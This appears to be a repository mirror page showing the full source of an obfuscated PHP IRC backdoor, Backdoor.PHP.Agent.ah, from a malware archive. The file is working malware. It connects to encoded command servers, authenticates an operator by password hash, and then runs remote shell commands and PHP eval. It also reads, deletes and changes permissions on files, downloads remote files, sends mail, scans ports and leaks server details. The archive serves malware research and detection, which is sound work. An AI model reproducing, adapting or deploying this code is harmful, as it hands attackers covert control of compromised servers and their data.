ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-18 17:36:11 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
f5ec68af9b
MalwareSourceCode/PHP/Backdoor.PHP.Agent.ah
vxunderground 27f87bc75b
Add files via upload
2020-10-09 22:02:21 -05:00

135 lines
20 KiB
Plaintext
Raw Blame History

<? set_time_limit(0); ini_set("max_execution_time",0); set_magic_quotes_runtime(0); ini_set('output_buffering',0);
error_reporting(0); ignore_user_abort(); function hc8a89c2c306fb($p341be97d9aff9) { $p341be97d9aff9 = str_replace(" ", "", $p341be97d9aff9);
return $p341be97d9aff9; } function ub5d21085bf2c0($p341be97d9aff9) { $p341be97d9aff9 = base64_decode(hc8a89c2c306fb($p341be97d9aff9));
return $p341be97d9aff9; } $oec12e0af93cb5 = array ( "po" => 8080, "sp" => "xZiGuIrSlJaYlw==", "ch" => "dVZQuw==",
"ke" => "k3h2", "ha" => "gW1NZ0+eTmOGmldl", "pa" => "i5eHeoqSWmZXWmuZW2ZoapttnGhtb22cYW1olWlok2o=",
"tr" => "*", "mrnd" => 9, "mo" => "f6tOrw==", "ve" => "g2FVfok=" ); function dfc35fdc70d5fc() {
global $oec12e0af93cb5; $xee11cbb19052e = array(); $ed707b8140a662 = ""; $n59b514174bffe = array("uqKQq5HDl6iShaFkmpuamqOrZ5Onpg==","tKiVtI7Mi6KGkmGtiJuZpKhmnJ+l","tJSPspjKiaiYkZSkUa2am5mmrF6bqKY=","v5aEuFPCiGOHkKibj5+jm2Oang==","v5aEuJHNl2OUlJikh6SoZJed","wKZUdlPRmaeUk6dkhqWi","v5aEuJHNl2OJkpymUaSaqg==","g2GRuVWRUpaSiaWfhpejq6Oeop6hrKGclGaWoaA=");
shuffle($n59b514174bffe); if(($o351a1d2ad68bc = fsockopen(ef9feaa9bcab30($n59b514174bffe[0]),$oec12e0af93cb5['po'],$i70106d0d82151,$q809b1abe3f111,15))) {
$d8052146769b14 = bd988971435842($oec12e0af93cb5['mrnd']); if (strlen($oec12e0af93cb5['sp'])>0) { i56eacb300613d($o351a1d2ad68bc, ub5d21085bf2c0("UEFTUw==")." ".ef9feaa9bcab30($oec12e0af93cb5['sp']));
} i56eacb300613d($o351a1d2ad68bc, ub5d21085bf2c0("VVNFUg==")." ".bfb0daa8f01135($oec12e0af93cb5['mrnd'])." 127.0.0.1 localhost :$d8052146769b14");
i56eacb300613d($o351a1d2ad68bc, ub5d21085bf2c0("TklDSw==")." $d8052146769b14"); while (!feof($o351a1d2ad68bc)) {
$l7fabc1404929c = trim(fgets($o351a1d2ad68bc,512)); $b6e2baaf3b97db = explode(" ",$l7fabc1404929c);
if(($l7fabc1404929c == $ed707b8140a662)) continue; if (isset($b6e2baaf3b97db[0]) && $b6e2baaf3b97db[0] == ub5d21085bf2c0("UElORw==")) {
i56eacb300613d($o351a1d2ad68bc, ub5d21085bf2c0("UE9ORw==")." ".$b6e2baaf3b97db[1]); } else if (isset($b6e2baaf3b97db[1]) && $b6e2baaf3b97db[1] == ub5d21085bf2c0("MDAx")) {
i56eacb300613d($o351a1d2ad68bc, ub5d21085bf2c0("TU9ERQ==")." $d8052146769b14 ".ef9feaa9bcab30($oec12e0af93cb5['mo']));
i56eacb300613d($o351a1d2ad68bc, ub5d21085bf2c0("Sk9JTg==")." ".ef9feaa9bcab30($oec12e0af93cb5['ch'])." ".ef9feaa9bcab30($oec12e0af93cb5['ke']));
} else if(isset($xdfff0a7fa1a55[1]) && $xdfff0a7fa1a55[1] == ub5d21085bf2c0("NDMz")) { i56eacb300613d($o351a1d2ad68bc, ub5d21085bf2c0("TklDSw==")." $d8052146769b14");
} else if (isset($b6e2baaf3b97db[1]) && isset($xee11cbb19052e[$b6e2baaf3b97db[1]])) { unset($xee11cbb19052e[$b6e2baaf3b97db[1]]);
} else if (isset($b6e2baaf3b97db[1]) && ($b6e2baaf3b97db[1] == ub5d21085bf2c0("UFJJVk1TRw==") || $b6e2baaf3b97db[1] == "332")) {
$o78e731027d8fd = strstr($l7fabc1404929c," :"); $o78e731027d8fd = substr($o78e731027d8fd,2); $xdfff0a7fa1a55 = explode(" ",$o78e731027d8fd);
$z67b3dba8bc677 = $b6e2baaf3b97db[0]; $f7c6483ddcd99e = explode("!",$z67b3dba8bc677); $f7c6483ddcd99e = substr($f7c6483ddcd99e[0],1);
$e73be252ca8221 = FALSE; if ($xdfff0a7fa1a55[0] == "\1".ub5d21085bf2c0("VkVSU0lPTg==")."\1") { i56eacb300613d($o351a1d2ad68bc,"NOTICE ".$f7c6483ddcd99e." :\1".ub5d21085bf2c0("VkVSU0lPTg==")." ".ef9feaa9bcab30($oec12e0af93cb5['ve'])."\1");
} for ($v865c0c0b4ab0e=0;$v865c0c0b4ab0e<count($xdfff0a7fa1a55);$v865c0c0b4ab0e++) { if($xdfff0a7fa1a55[$v865c0c0b4ab0e] == "-s") {
$e73be252ca8221 = TRUE; } } if ($b6e2baaf3b97db[1] == "332") { $i01b6e20344b68 = $b6e2baaf3b97db[3];
} elseif ($b6e2baaf3b97db[2] == $d8052146769b14) { $i01b6e20344b68 = $f7c6483ddcd99e; } else { $i01b6e20344b68 = $b6e2baaf3b97db[2];
} if ($xdfff0a7fa1a55[0] == PHP_OS) { array_shift($xdfff0a7fa1a55); } if (substr($xdfff0a7fa1a55[0],0,1) == $oec12e0af93cb5['tr']) {
if (isset($xee11cbb19052e[$z67b3dba8bc677]) || $b6e2baaf3b97db[1] == "332") { switch (substr($xdfff0a7fa1a55[0],1)) {
case j69923efad5b7a("qGWaoKKb"): i56eacb300613d($o351a1d2ad68bc, ub5d21085bf2c0("UVVJVCA6SSBRVUlU"));
fclose($o351a1d2ad68bc); exit(0); break; case j69923efad5b7a("tpWs"): if (count($xdfff0a7fa1a55)>1) {
i56eacb300613d($o351a1d2ad68bc, substr($o78e731027d8fd,strlen($xdfff0a7fa1a55[0]))); } break; case j69923efad5b7a("sKc="):
if (isset($xdfff0a7fa1a55[1])) { $s954eef6d6eac5 = $xdfff0a7fa1a55[1]; } else { $s954eef6d6eac5 = getcwd();
} if (is_dir($s954eef6d6eac5)) { if (($k736007832d216 = opendir($s954eef6d6eac5))) { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("RGlyLy8gTm93IGxpc3Rpbmc6") ." \2".$s954eef6d6eac5."\2");
while (($a435ed7e9f07f7 = readdir($k736007832d216)) !== FALSE) { if ($a435ed7e9f07f7 != "." && $a435ed7e9f07f7 != "..") {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, "> (".filetype($s954eef6d6eac5."/".$a435ed7e9f07f7).") $a435ed7e9f07f7");
sleep(1); } } closedir(); } else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("RGlyLy8gVW5hYmxlIHRvIGxpc3QgY29udGVudHMgb2Y=") . " \2".$s954eef6d6eac5."\2");
} } else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("RGlyLy8=") . " \2".$s954eef6d6eac5."\2 " . ub5d21085bf2c0("aXMgbm90IGEgZGlyIQ=="));
} break; case j69923efad5b7a("p5Wp"): if (count($xdfff0a7fa1a55) > 1) { if (is_file($xdfff0a7fa1a55[1])) {
if (($a0666f0acdeed3 = fopen($xdfff0a7fa1a55[1],"r"))) { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q0FULy8gTm93IHJlYWRpbmcgZmlsZTo=") . " \2".$xdfff0a7fa1a55[1]."\2");
while(!feof($a0666f0acdeed3)) { $g6438c669e0d0d = trim(fgets($a0666f0acdeed3,256)); zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, "> $g6438c669e0d0d");
sleep(1); } zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("PiBbRU9GXQ=="));
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q0FULy8gQ291bGRuJ3Qgb3Blbg==") . " \2".$xdfff0a7fa1a55[1]."\2 for reading.");
} } else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q0FULy8=") . " \2".$xdfff0a7fa1a55[1]."\2 " . ub5d21085bf2c0("aXMgbm90IGEgZmlsZQ=="));
} } break; case j69923efad5b7a("tKuZ"): zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("UFdELy8gQ3VycmVudCBkaXI6") ." ".getcwd());
break; case j69923efad5b7a("p5g="): if (count($xdfff0a7fa1a55) > 1) { if (chdir($xdfff0a7fa1a55[1])) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q0QvLyBDaGFuZ2VkIGRpciB0bw==") ." ".$xdfff0a7fa1a55[1]);
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q0QvLyBGYWlsZWQgdG8gY2hhbmdlIGRpcg=="));
} } break; case j69923efad5b7a("tqE="): if (count($xdfff0a7fa1a55) > 1) { if (unlink($xdfff0a7fa1a55[1])) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Uk0vLyBEZWxldGVk") . " \2".$xdfff0a7fa1a55[1]."\2");
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Uk0vLyBGYWlsZWQgdG8gZGVsZXRl")." \2".$xdfff0a7fa1a55[1]."\2");
} } break; case j69923efad5b7a("uKOqlZs="): if (count($xdfff0a7fa1a55) > 1) { if (touch($xdfff0a7fa1a55[1])) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("VG91Y2gvLyBUb3VjaGVk") . " \2".$xdfff0a7fa1a55[1]."\2");
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("VG91Y2gvLyBGYWlsZWQgdG8gdG91Y2g=") . " \2".$xdfff0a7fa1a55[1]."\2");
} } break; case j69923efad5b7a("t62inpySoA=="): if (count($xdfff0a7fa1a55) > 2) { if (symlink($xdfff0a7fa1a55[1],$xdfff0a7fa1a55[2])) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("U3ltTGluay8vIFN5bWxpbmtlZA==") . " \2".$xdfff0a7fa1a55[2]."\2 To \2".$xdfff0a7fa1a55[1]."\2");
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("U3ltTGluay8vIEZhaWxlZCB0byBsaW5r") . " \2".$xdfff0a7fa1a55[2]."\2 To \2".$xdfff0a7fa1a55[1]."\2");
} } break; case j69923efad5b7a("p5ykqaE="): if (count($xdfff0a7fa1a55) > 2) { if (chown($xdfff0a7fa1a55[1],$xdfff0a7fa1a55[2])) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q2hvd24vLyBDaG93bmVk") ." \2".$xdfff0a7fa1a55[1]."\2 To \2".$xdfff0a7fa1a55[2]."\2");
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q2hvd24vLyBGYWlsZWQgdG8gY2hvd24=") ." \2".$xdfff0a7fa1a55[1]."\2 To \2".$xdfff0a7fa1a55[2]."\2");
} } break; case j69923efad5b7a("p5yioZc="): if (count($xdfff0a7fa1a55) > 2) { if(chmod($xdfff0a7fa1a55[1],$xdfff0a7fa1a55[2])) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q2htb2QvLyBDaG1vZGRlZA==") . " \2".$xdfff0a7fa1a55[1]."\2 with permissions \2".$xdfff0a7fa1a55[2]."\2");
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q2htb2QvLyBGYWlsZWQgdG8gY2htb2Q=") . " \2".$xdfff0a7fa1a55[1]."\2");
} } break; case j69923efad5b7a("sZ+Zm6U="): if (count($xdfff0a7fa1a55) > 1) { if (mkdir($xdfff0a7fa1a55[1])) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("TUtEaXIvLyBDcmVhdGVkIGRpcmVjdG9yeQ==")." \2".$xdfff0a7fa1a55[1]."\2");
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("TUtEaXIvLyBGYWlsZWQgdG8gY3JlYXRlIGRpcmVjdG9yeQ==")." \2".$xdfff0a7fa1a55[1]."\2");
} } break; case j69923efad5b7a("tqGZm6U="): if (count($xdfff0a7fa1a55)>1) { if (rmdir($xdfff0a7fa1a55[1])) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Uk1EaXIvLyBSZW1vdmVkIGRpcmVjdG9yeQ==") . " \2".$xdfff0a7fa1a55[1]."\2");
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Uk1EaXIvLyBGYWlsZWQgdG8gcmVtb3ZlIGRpcmVjdG9yeQ==") . " \2".$xdfff0a7fa1a55[1]."\2");
} } break; case j69923efad5b7a("p6Q="): if (count($xdfff0a7fa1a55) > 2) { if (copy($xdfff0a7fa1a55[1], $xdfff0a7fa1a55[2])) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q1AvLyBDb3BpZWQ=") ." \2".$xdfff0a7fa1a55[1]."\2 to \2".$xdfff0a7fa1a55[2]."\2");
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q1AvLyBGYWlsZWQgdG8gY29weQ==") ." \2".$xdfff0a7fa1a55[1]."\2 to \2".$xdfff0a7fa1a55[2]."\2");
} } break; case j69923efad5b7a("sZWeng=="): if (count($xdfff0a7fa1a55)>4) { $z099fb995346f3 = "From: <".$xdfff0a7fa1a55[2].">\r\n";
if (mail($xdfff0a7fa1a55[1], $xdfff0a7fa1a55[3], substr($o78e731027d8fd,$xdfff0a7fa1a55[4]), $z099fb995346f3)) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("TWFpbC8v") . " Message sent to \2".$xdfff0a7fa1a55[1]."\2");
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("TWFpbC8v") . " Send failure");
} } break; case j69923efad5b7a("sZ+ilmg="): zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("TUQ1Ly8=") . " ".md5($xdfff0a7fa1a55[1]));
break; case j69923efad5b7a("qKKo"): if (isset($xdfff0a7fa1a55[1])) { $g957b527bcfbad = explode(".",$xdfff0a7fa1a55[1]);
if (count($g957b527bcfbad)==4 && is_numeric($g957b527bcfbad[0]) && is_numeric($g957b527bcfbad[1]) && is_numeric($g957b527bcfbad[2]) && is_numeric($g957b527bcfbad[3])) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("RE5TLy8=") . " ".$xdfff0a7fa1a55[1]." -> ".gethostbyaddr($xdfff0a7fa1a55[1]));
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("RE5TLy8=") . " ".$xdfff0a7fa1a55[1]." -> ".gethostbyname($xdfff0a7fa1a55[1]));
} } break; case j69923efad5b7a("tpmoppSWqQ=="): i56eacb300613d($o351a1d2ad68bc, ub5d21085bf2c0("UVVJVCA6UVVJVC4uLg=="));
fclose($o351a1d2ad68bc); dfc35fdc70d5fc(); break; case j69923efad5b7a("tqI="): if(isset($xdfff0a7fa1a55[1])) {
$d8052146769b14 = bd988971435842((int)$xdfff0a7fa1a55[1]); i56eacb300613d($o351a1d2ad68bc, ub5d21085bf2c0("TklDSw==")." $d8052146769b14");
} else { $d8052146769b14 = bd988971435842($oec12e0af93cb5['mrnd']); i56eacb300613d($o351a1d2ad68bc, ub5d21085bf2c0("TklDSw==")." $d8052146769b14");
} break; case j69923efad5b7a("tJyl"): if (count($xdfff0a7fa1a55) > 1) { eval(substr($o78e731027d8fd,strlen($xdfff0a7fa1a55[0])));
} break; case j69923efad5b7a("q5mp"): if (count($xdfff0a7fa1a55) > 2) { if (!($a0666f0acdeed3 = fopen($xdfff0a7fa1a55[2],"w"))) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("R2V0Ly8gUGVybWlzc2lvbiBkZW5pZWQ="));
} else { if (!($db5eda0a74558a = file($xdfff0a7fa1a55[1]))) { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("R2V0Ly8gQmFkIFVSTC9ETlMgZXJyb3I="));
} else { for ($v865c0c0b4ab0e = 0; $v865c0c0b4ab0e < count($db5eda0a74558a); $v865c0c0b4ab0e++) { fwrite($a0666f0acdeed3,$db5eda0a74558a[$v865c0c0b4ab0e]);
} zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("R2V0Ly8=") . " \2".$xdfff0a7fa1a55[1]."\2 downloaded to \2".$xdfff0a7fa1a55[2]."\2");
} fclose($a0666f0acdeed3); } } break; case j69923efad5b7a("sp0="): zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("TmV0SW5mby8v") . " IP: ".$_SERVER['SERVER_ADDR']." Hostname: ".$_SERVER['SERVER_NAME']);
break; case j69923efad5b7a("t50="): zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("U3lzaW5mby8v") . " [User: ".get_current_user()."] [PID: ".getmypid()."] [Version: PHP ".phpversion()."] [OS: ".PHP_OS."] [Server_software: ".$_SERVER['SERVER_SOFTWARE']."] [Server_name: ".$_SERVER['SERVER_NAME']."] [Admin: ".$_SERVER['SERVER_ADMIN']."] [Docroot: ".$_SERVER['DOCUMENT_ROOT']."] [HTTP Host: ".$_SERVER['HTTP_HOST']."] [URL: ".$_SERVER['REQUEST_URI']."]");
break; case j69923efad5b7a("tKOnpqKUmuw="): if (isset($xdfff0a7fa1a55[1],$xdfff0a7fa1a55[2])) { if (fsockopen($xdfff0a7fa1a55[1],(int)$xdfff0a7fa1a55[2],$f56bd7107802eb,$p341be97d9aff9,5)) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, "".ub5d21085bf2c0("UG9ydENoay8v") ." ".$xdfff0a7fa1a55[1].":".$xdfff0a7fa1a55[2]." is \2Open\2");
} else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, "".ub5d21085bf2c0("UG9ydENoay8v") ." ".$xdfff0a7fa1a55[1].":".$xdfff0a7fa1a55[2]." is \2Closed\2");
} } break; case j69923efad5b7a("uaKWn5g="): zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("VW5hbWUvLw==")." " .php_uname());
break; case j69923efad5b7a("rZg="): zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("SUQvLw==")." ".getmypid());
break; case j69923efad5b7a("p6GZ"): if (count($xdfff0a7fa1a55)>1) { $z1dccadfed7bcb = popen(substr($o78e731027d8fd,strlen($xdfff0a7fa1a55[0])),"r");
while (!feof($z1dccadfed7bcb)) { $l734515cbd3636 = trim(fgets($z1dccadfed7bcb,512)); if (strlen($l734515cbd3636)>0) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, "> ".$l734515cbd3636); sleep(1); }
} zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("PiBbRU9GXQ=="));
} break; case j69923efad5b7a("p6GZZA=="): if (count($xdfff0a7fa1a55)>1) { $c2beda901e9726 = tempnam('/tmp', 'tmpfile');
$z1dccadfed7bcb = substr($o78e731027d8fd,strlen($xdfff0a7fa1a55[0])); $z1dccadfed7bcb .= " >$c2beda901e9726";
$e3c0f0406c38df = "rm $c2beda901e9726"; r54d54a126a783($z1dccadfed7bcb); if (is_file($c2beda901e9726)) {
if (($a0666f0acdeed3 = fopen($c2beda901e9726,"r"))) { while(!feof($a0666f0acdeed3)) { $g6438c669e0d0d = trim(fgets($a0666f0acdeed3,256));
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, "> $g6438c669e0d0d"); sleep(1); }
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("PiBbRU9GXQ==")); } else {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q01ELy8gQ291bGRuJ3Qgb3BlbiB0bXBmaWxlLg=="));
} } else { zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("Q01ELy8gdG1wZmlsZSBpcyBub3QgYSBmaWxl"));
} r54d54a126a783($e3c0f0406c38df); } break; case j69923efad5b7a("qayalaiYmg=="): r54d54a126a783(substr($o78e731027d8fd,strlen($xdfff0a7fa1a55[0])));
break; } } else { switch(substr($xdfff0a7fa1a55[0],1)) { case j69923efad5b7a("bg=="): if (isset($xdfff0a7fa1a55[1]) && md5($xdfff0a7fa1a55[1]) == ef9feaa9bcab30($oec12e0af93cb5['pa']) && preg_match(ef9feaa9bcab30($oec12e0af93cb5['ha']),$z67b3dba8bc677)) {
zf2f4e964f79d0($o351a1d2ad68bc, $e73be252ca8221, $i01b6e20344b68, ub5d21085bf2c0("UmVhZHkvLyBPaw=="));
$xee11cbb19052e[$z67b3dba8bc677] = TRUE; } else { zf2f4e964f79d0($o351a1d2ad68bc, FALSE, ef9feaa9bcab30($oec12e0af93cb5['ch']), ub5d21085bf2c0("UmVhZHkvLyByZWplY3RlZA=="));
} break; } } } } $ed707b8140a662 = $l7fabc1404929c; } fclose($o351a1d2ad68bc); sleep(3); dfc35fdc70d5fc();
} else { shuffle($n59b514174bffe); dfc35fdc70d5fc(); } } function i56eacb300613d($k317d37b0edc7b, $o78e731027d8fd) {
fwrite($k317d37b0edc7b,"$o78e731027d8fd\r\n"); } function zf2f4e964f79d0($k317d37b0edc7b, $e73be252ca8221, $i01b6e20344b68, $o78e731027d8fd) {
if($e73be252ca8221 != TRUE) { i56eacb300613d($k317d37b0edc7b, ub5d21085bf2c0("UFJJVk1TRw==")." $i01b6e20344b68 :$o78e731027d8fd");
} } function j69923efad5b7a($mc7a1ddb19daba) { $db4a88417b3d01 = ''; $mc7a1ddb19daba = base64_decode($mc7a1ddb19daba);
for($v865c0c0b4ab0e=0; $v865c0c0b4ab0e<strlen($mc7a1ddb19daba); $v865c0c0b4ab0e++) { $ja87deb01c5f53 = substr($mc7a1ddb19daba, $v865c0c0b4ab0e, 1);
$vae0e1268c3859 = substr(ub5d21085bf2c0("NDUyMyQ1fjMyMTQ0MzQyNV5mZEdzZGZHIyQ2QDM1M0AkNUAjJDVANTQ0NzUmNDUmNiU3JV5eOF4mKkAhfiM0fjIzNDMyJEAjITQhMjMkMyUzNCUyIyQ1I0AkNTIzNCU2JTQ2NzheJiFAM0Q="), ($v865c0c0b4ab0e % strlen(ub5d21085bf2c0("NDUyMyQ1fjMyMTQ0MzQyNV5mZEdzZGZHIyQ2QDM1M0AkNUAjJDVANTQ0NzUmNDUmNiU3JV5eOF4mKkAhfiM0fjIzNDMyJEAjITQhMjMkMyUzNCUyIyQ1I0AkNTIzNCU2JTQ2NzheJiFAM0Q=")))-1, 1);
$ja87deb01c5f53 = chr(ord($ja87deb01c5f53)-ord($vae0e1268c3859)); $db4a88417b3d01.=$ja87deb01c5f53;
} return $db4a88417b3d01; } function bd988971435842($ufac65290966c7) { for ($v865c0c0b4ab0e = 0; $v865c0c0b4ab0e < $ufac65290966c7; $v865c0c0b4ab0e++)
$a2cb9df9898e55 .= chr(mt_rand(0,25)+97); if (posix_getegid() == 0) $a2cb9df9898e55 = "r-".$a2cb9df9898e55;
return $a2cb9df9898e55; } function r54d54a126a783($o111ca5df4a68b) { $g9b207167e5381 = ''; if (!empty($o111ca5df4a68b))
{ if(function_exists('exec')) { @exec($o111ca5df4a68b,$g9b207167e5381); $g9b207167e5381 = join("\n",$g9b207167e5381);
} elseif(function_exists('shell_exec')) { $g9b207167e5381 = @shell_exec($o111ca5df4a68b); } elseif(function_exists('system'))
{ @ob_start(); @system($o111ca5df4a68b); $g9b207167e5381 = @ob_get_contents(); @ob_end_clean(); }
elseif(function_exists('passthru')) { @ob_start(); @passthru($o111ca5df4a68b); $g9b207167e5381 = @ob_get_contents();
@ob_end_clean(); } elseif(@is_resource($s8fa14cdd754f9 = @popen($o111ca5df4a68b,"r"))) { $g9b207167e5381 = "";
while(!@feof($s8fa14cdd754f9)) { $g9b207167e5381 .= @fread($s8fa14cdd754f9,1024); } @pclose($s8fa14cdd754f9);
} } return $g9b207167e5381; } function ef9feaa9bcab30($mc7a1ddb19daba) { $db4a88417b3d01 = ''; $mc7a1ddb19daba = base64_decode($mc7a1ddb19daba);
for($v865c0c0b4ab0e=0; $v865c0c0b4ab0e<strlen($mc7a1ddb19daba); $v865c0c0b4ab0e++) { $ja87deb01c5f53 = substr($mc7a1ddb19daba, $v865c0c0b4ab0e, 1);
$vae0e1268c3859 = substr(ub5d21085bf2c0("MyNGJV4kNSUkMzYjNjU2NTg5MDg5OTcwODMyMzEyNCFAIzQ1XiQlNiM1NmZEZ1NERmdTREZHUkVUcmV0V1JFVGVycHJlV1IqU0RGI0AjNSQlNiQlXiM0fiEhQH4hQCF+QCF+fiFAJCM1IyQ1JDMlR2hEZ0hnZmdmZ0ZoZ2hHRmhmZ1RSeXR5JV5nZkg0MzQzVkYjRURFY0BDQGVDI0VjSjxJTC4+Pk08PzxNPmVSdEVRdFdFUg=="), ($v865c0c0b4ab0e % strlen(ub5d21085bf2c0("MyNGJV4kNSUkMzYjNjU2NTg5MDg5OTcwODMyMzEyNCFAIzQ1XiQlNiM1NmZEZ1NERmdTREZHUkVUcmV0V1JFVGVycHJlV1IqU0RGI0AjNSQlNiQlXiM0fiEhQH4hQCF+QCF+fiFAJCM1IyQ1JDMlR2hEZ0hnZmdmZ0ZoZ2hHRmhmZ1RSeXR5JV5nZkg0MzQzVkYjRURFY0BDQGVDI0VjSjxJTC4+Pk08PzxNPmVSdEVRdFdFUg==")))-1, 1);
$ja87deb01c5f53 = chr(ord($ja87deb01c5f53)-ord($vae0e1268c3859)); $db4a88417b3d01.=$ja87deb01c5f53;
} return $db4a88417b3d01; } function bfb0daa8f01135($ufac65290966c7) { $a2cb9df9898e55 = ""; for ($v865c0c0b4ab0e=0;$v865c0c0b4ab0e<$ufac65290966c7; $v865c0c0b4ab0e++)
$a2cb9df9898e55 .= chr(mt_rand(0,25)+97); return $a2cb9df9898e55; } dfc35fdc70d5fc(); ?>
Reference in New Issue View Git Blame Copy Permalink